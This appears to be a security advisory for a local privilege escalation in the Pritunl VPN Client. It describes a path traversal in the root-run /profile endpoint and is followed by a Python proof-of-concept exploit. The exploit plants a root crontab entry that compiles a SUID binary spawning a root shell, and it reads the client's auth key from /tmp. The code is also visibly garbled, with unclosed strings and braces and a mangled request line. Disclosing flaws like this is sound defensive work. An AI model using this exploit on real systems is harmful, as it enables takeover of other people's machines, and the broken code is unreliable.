The Pritunl Client communicated with a local service to perform actions. The service, running as root, would write user specified data to the user specified path, leading to privilege escalation. One of the endpoints, /profile, will accept Profile data (e.g. ID, config data, username, and password) and attempt to start the profile. When starting a profile, the service writes the config data to /tmp/pritunl/<ID>. This file write is vulnerable to path traversal and writes the file with root permissions. After a few seconds, the file is deleted. This could be used to modify system files and escalate privileges.

The following proof-of-concept works against Pritunl VPN Client v1.0.1075.52 and prior. It will create a binary at /tmp/exploit that launches a shell.

import requests
import time
import json
import os

# drop binary to execute a shell as root (after +s)
prog = """
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
int main(void) { setuid(0); setgid(0); system("/bin/sh"); }

# set up the payload to create a SUID binary via cron
payload = """# DO NOT EDIT THIS crontab, IT WILL BE DELETED
* * * * *  gcc -o /tmp/exploit /tmp/exploit.c && chmod +s /tmp/exploit
profile = {
    "id": "../../var/at/tabs/root",
    "data": payload,
    "username": "what",
    "password": "ever"
profileData = json.dumps(profile)

# set up the request headers
headers = {
    "Content-Type": "application/json",

# read the public auth key, if relevant
keyFile = '/tmp/pritunl_auth'
if os.path.exists(keyFile):
    authKey = open(keyFile).read()
    headers.update({"Auth-Key": authKey})

# wait until just before cron would trigger
ts = time.localtime().tm_sec
time.sleep(60 - ts - 1)

# send exploit
url = """/profile", headers=headers, data=profileData)

# wait a few moments for cron to trigger